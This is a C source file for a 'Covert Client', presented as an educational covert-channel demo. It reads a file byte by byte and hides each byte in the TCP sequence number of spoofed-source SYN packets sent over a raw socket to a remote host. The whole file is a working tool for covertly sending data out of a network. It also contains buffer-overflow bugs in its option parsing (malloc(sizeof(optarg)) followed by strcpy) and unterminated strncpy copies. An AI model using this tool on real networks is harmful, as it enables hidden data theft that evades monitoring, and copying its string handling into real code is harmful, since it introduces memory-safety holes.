1 /* CC - Covert Client
2 a demonstration on covert chanels for educational purposes
3 Copyright (C) 2008 ithilgore - ithilgore.ryu.L@gmail.com
4
5 This program is free software: you can redistribute it and/or modify
6 it under the terms of the GNU General Public License as published by
7 the Free Software Foundation, either version 3 of the License, or
8 (at your option) any later version.
9
10 This program is distributed in the hope that it will be useful,
11 but WITHOUT ANY WARRANTY; without even the implied warranty of
12 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 GNU General Public License for more details.
14
15 You should have received a copy of the GNU General Public License
16 along with this program. If not, see <http://www.gnu.org/licenses/>.
17 */
18
19
20 #include <stdio.h>
21 #include <stdlib.h>
22 #include <string.h>
23 #include <errno.h>
24 #include <arpa/inet.h>
25 #include <sys/types.h>
26 #include <sys/socket.h>
27 #include <unistd.h>
28 #include <signal.h>
29 #include <linux/ip.h> // linux ip header struct
30 #include <linux/tcp.h> // linux tcp header struct
31
32
33 /* DEFINES */
34 #define VERSION "1.0"
35 #define NAME "CovertClient"
36 #define TRUE 1
37 #define FALSE 0
38
39 /* FUNCTION PROTOTYPES */
40 void print_usage(void);
41 void raw_packet_init(void);
42 uint16_t checksum_comp(uint16_t *, int);
43 void clean_exit(char *, int);
44
45
46 /* DECLARATIONS */
47
48 /* option stuct - idea taken by nmap */
49 typedef struct options {
50 char src[16]; /* 16 = 4*3 digits + 3 dots + 1'\0' */
51 char dst[16];
52 unsigned long int port;
53 char *file;
54 unsigned short int mode;
55 unsigned short int verbose;
56 char opt_ex; /* bitwise boolean - if an option exists
57 corresponding bit will be 1 or else 0 -the setting
58 takes place inside the getopt loop */
59 #ifdef DEBUG
60 unsigned short int debug;
61 #endif
62 } options;
63
64
65 /* this struct contains both the ip header
66 * and tcp header - if we reversed the
67 * order of the headers would it work ???
68 */
69 typedef struct raw_pack {
70 struct iphdr ip;
71 struct tcphdr tcp;
72 } raw_pack;
73
74
75 /* pseudo header used for checksuming */
76 /* this header never reaches the wire */
77 typedef struct pseudo_hdr {
78 u_int32_t src;
79 u_int32_t dst;
80 u_char mbz;
81 u_char proto;
82 u_int16_t len;
83 } pseudo_hdr;
84
85
86 /* GLOBAL VARIABLES */
87
88 options o;
89
90 /* generic exit printing func
91 * it prints a perror msg additionally
92 * if err is 1
93 */
94 void clean_exit(char *msg, int err)
95 {
96 if (err == 1)
97 perror(msg);
98 else
99 fprintf(stderr, "%s \n", msg);
100
101 exit(EXIT_FAILURE);
102 }
103
104 void print_usage(void)
105 {
106 fprintf(stdout, "%s client by ithilgore\n", NAME);
107 fprintf(stdout,
108 "Options: \n"
109 "-d: destination ip \n"
110 "-s: source ip \n"
111 "-p: destination port \n"
112 "-f: file name \n"
113 "-v: verbose mode \n"
114 "-h: help \n"
115 "\n");
116 exit(EXIT_SUCCESS);
117 }
118
119
120 uint16_t checksum_comp(uint16_t *addr, int len) { /* compute TCP header checksum */
121 /* with the usual algorithm a bit changed */
122 /* for byte ordering problem resolving */
123 /* see RFC 1071 for more info */
124 /* Compute Internet Checksum for "count" bytes
125 * beginning at location "addr".
126 */
127 register long sum = 0;
128 int count = len;
129 uint16_t temp;
130
131 while (count > 1) {
132 temp = htons(*addr++); // in this line:added -> htons
133 sum += temp;
134 count -= 2;
135 }
136
137 /* Add left-over byte, if any */
138 if (count > 0)
139 sum += *(unsigned char *) addr;
140
141 /* Fold 32-bit sum to 16 bits */
142 while (sum >> 16)
143 sum = (sum & 0xffff) + (sum >> 16);
144
145 uint16_t checksum = ~sum;
146 return checksum;
147 }
148
149
150
151 void raw_packet_init(void) {
152
153 /* this code experiments with making raw structs by using
154 * the struct raw_pack (a combination of tcphdr and iphdr) and
155 * using pointers which is faster compared to using plain structs
156 * and moving them around - this technique is also
157 * used in the syn scanner Creeper (by ithilgore)
158 * the only new idea is using the combination of the 2 headers
159 * into a struct called raw_pack which makes the code more readable
160 */
161
162 /* The logic is simple: we create a buffer datagram into which the
163 * tcp and ip headers will be stored. We take into account the additional
164 * storage needed by the pseudo header used for the tcp checksumming process.
165 * The raw_pack pointer points to the beginning of the datagram
166 * and the pseudo_header will point to the end of the raw_pack (still inside
167 * the buffer datagram).
168 * The sendto() function will send only the portion of the datagram which
169 * contains the raw_pack (tcp and ip headers ) - the pseudo_header never reaches
170 * the wire
171 */
172
173 char datagram[sizeof(raw_pack) + sizeof(pseudo_hdr)]; /* buffer for the headers */
174 raw_pack *raw = (struct raw_pack *) datagram; /* point the raw_pack to the datagram */
175 pseudo_hdr *phdr; /* pseudo header pointer */
176 FILE *input; /* file pointer */
177 int ch; /* buffer storing input from file */
178 int sockfd; /* raw socket descriptor */
179 unsigned int dst, src; /* integers used for filling in the addresses with inet_pton() */
180 struct sockaddr_in sin; /* struct used for the raw socket info */
181
182 if ((input = fopen(o.file, "rb")) == NULL)
183 {
184 fprintf(stderr, "file %s cannot be opened for reading\n", o.file);
185 exit(EXIT_FAILURE);
186 }
187
188 memset(datagram, 0, sizeof(datagram)); /* bzero the datagram */
189
190 /* convert strings to network ints */
191 if (inet_pton(AF_INET, o.dst, (unsigned int *) &dst) < 0)
192 clean_exit("invalid source addr", 0);
193 if (inet_pton(AF_INET, o.src, (unsigned int *) &src) < 0)
194 clean_exit("invalid dest addr", 0);
195
196 /* main raw packet building loop */
197 while ((ch = fgetc(input)) != EOF)
198 {
199
200 sleep(1); // TODO: optimal time needed here
201 /* raw packet creation */
202 /* ip header construction */
203 /*
204 0 1 2 3
205 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
206 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
207 |Version| IHL |Type of Service| Total Length |
208 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
209 | Identification |Flags| Fragment Offset |
210 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
211 | Time to Live | Protocol | Header Checksum |
212 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
213 | Source Address |
214 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
215 | Destination Address |
216 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
217 | Options | Padding |
218 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
219 */
220
221 /* all the values that are over 1 octer need to be network byte ordered */
222 raw->ip.ihl = 5;
223 raw->ip.version = 4;
224 raw->ip.tos = 0;
225 raw->ip.tot_len = htons(40); /* 16 byte value */
226 raw->ip.frag_off = 0; /* no fragment */
227 raw->ip.ttl = 64; /* default value */
228 raw->ip.protocol = IPPROTO_TCP; /* protocol at L4 */
229 raw->ip.check = 0; /* ??not needed in iphdr */
230 raw->ip.saddr = (src);
231 raw->ip.daddr = (dst);
232
233 /* There was a confusion with using the htonl function on the
234 * ip addresses: if the addresses are already converted to network-
235 * byte-order (which they are because of the inet_pton() called before)
236 * then calling htonl on them will bring the opposite results, which
237 * means that the address will be converted to host byte order causing
238 * havoc. In addition if htonl() is called twice on the same network-
239 * byte-order address the addr won't be converted back to a network byte addr
240 * as seemingly expected ( following a 2 negatives make 1 positive logic ).
241 * Now i am beginning to understand Hobbit's ranting about the bsd sockets
242 * api .....
243 raw->ip.saddr = htonl(src);
244 raw->ip.daddr = htonl(dst);
245 ^ IT WONT WORK if already in network byte order
246 */
247
248
249 /* tcp header construction */
250 /*
251 0 1 2 3
252 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
253 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
254 | Source Port | Destination Port |
255 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
256 | Sequence Number |
257 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
258 | Acknowledgment Number |
259 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
260 | Data | |U|A|P|R|S|F| |
261 | Offset| Reserved |R|C|S|S|Y|I| Window |
262 | | |G|K|H|T|N|N| |
263 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
264 | Checksum | Urgent Pointer |
265 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
266 | Options | Padding |
267 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
268 | data |
269 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
270 */
271
272 raw->tcp.source = htons( 1 + (int) (10000.0 * rand() / (RAND_MAX + 1.0)) );
273 raw->tcp.dest = htons(o.port);
274 raw->tcp.seq = ch; /* we encode the data in the seq */
275 raw->tcp.ack_seq = 0;
276 raw->tcp.res1 = 0; /* reserved bits */
277 raw->tcp.doff = 5; /* header length (counted in 32 bit words) */
278 raw->tcp.fin = 0;
279 raw->tcp.syn = 1;
280 raw->tcp.rst = 0;
281 raw->tcp.psh = 0;
282 raw->tcp.ack = 0;
283 raw->tcp.urg = 0;
284 raw->tcp.window = htons(512);
285 raw->tcp.check = 0;
286 raw->tcp.urg_ptr = 0;
287
288 /* fill the socket struct */
289 sin.sin_family = AF_INET;
290 sin.sin_port = raw->tcp.source;
291 sin.sin_addr.s_addr = raw->ip.daddr;
292
293 /* make a raw socket */
294 if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
295 clean_exit("cannot open socket", 1);
296
297 /* ip header checksum */
298 raw->ip.check = htons (checksum_comp((unsigned short *) &(raw->ip), 20));
299 // TODO: some hosts respond with incorrect checksum ???
300
301 /* pseudo header used for checksumming */
302 phdr = (struct pseudo_hdr *) (datagram + sizeof(raw_pack));
303
304 phdr->src = raw->ip.saddr;
305 phdr->dst = raw->ip.daddr;
306 phdr->mbz = 0;
307 phdr->proto = IPPROTO_TCP;
308 phdr->len = ntohs(0x14);
309
310
311 /* tcp checksum */
312 raw->tcp.check = htons (checksum_comp(
313 (unsigned short *) &(raw->tcp),
314 sizeof(raw->tcp) + sizeof(pseudo_hdr)
315 )
316 );
317 /* do u like the above indendentation ?? either way, i don't care */
318
319 /* send the raw packet */
320 int err = sendto(sockfd, datagram, sizeof(raw_pack), 0, (struct sockaddr *)&sin, sizeof(sin));
321 if (err < 0)
322 clean_exit("sendto error: ", 1);
323 #ifdef DEBUG
324 if (o.debug)
325 fprintf(stderr, "bytes send by sendto(): %d \n", err);
326 #endif
327
328 fprintf(stdout, "Sending Data: %c\n", ch);
329 close(sockfd);
330 }
331 fclose(input);
332 }
333
334
335
336 /****************** MAIN PROGRAM **************************/
337 int main(int argc, char **argv)
338 {
339
340 if (argc == 1) {
341 print_usage();
342 exit(EXIT_SUCCESS);
343 }
344
345 /* option parsing */
346 int opt;
347 while ((opt = getopt(argc, argv, "d:s:p:f:vhD")) != -1)
348 {
349 switch (opt)
350 {
351 case 'd': /* destination address */
352 strncpy(o.dst, optarg, sizeof(o.dst));
353 // if the address is less than 15 chars strncpy pads the dest with nulls
354 o.opt_ex |= (1 << 0);
355 break;
356 case 's': /* source address */
357 strncpy(o.src, optarg, sizeof(o.dst));
358 o.opt_ex |= (1 << 1);
359 break;
360 case 'p': /* destination port */
361 o.port = atoi(optarg);
362 o.opt_ex |= (1 << 2);
363 break;
364 case 'f': /* input file */
365 o.file = (char *)malloc(sizeof (optarg));
366 strcpy(o.file, optarg);
367 o.opt_ex |= (1 << 3);
368 break;
369 case 'v': /* verbose mode */
370 o.verbose = TRUE;
371 break;
372 case 'h': /* help - usage */
373 print_usage();
374 break;
375 #ifdef DEBUG
376 case 'D': /* debug mode */
377 o.debug = TRUE;
378 break;
379 #endif
380 case '?': /* error */
381 fprintf(stderr, "option inconsistency : -%c \n"
382 "see usage(no arguments)\n", optopt );
383 exit(EXIT_FAILURE);
384 }
385 }
386 /* some option restrictions */
387 if ((o.opt_ex & 0x0F) != 0x0F)
388 clean_exit("need to provide all -d -s -p -f arguments", 0);
389
390 /* check if u r r00t */
391 if (getuid() && geteuid())
392 clean_exit("need to be root", 0);
393
394 /* create the raw packet and send it */
395 raw_packet_init();
396
397 return(EXIT_SUCCESS);
398 }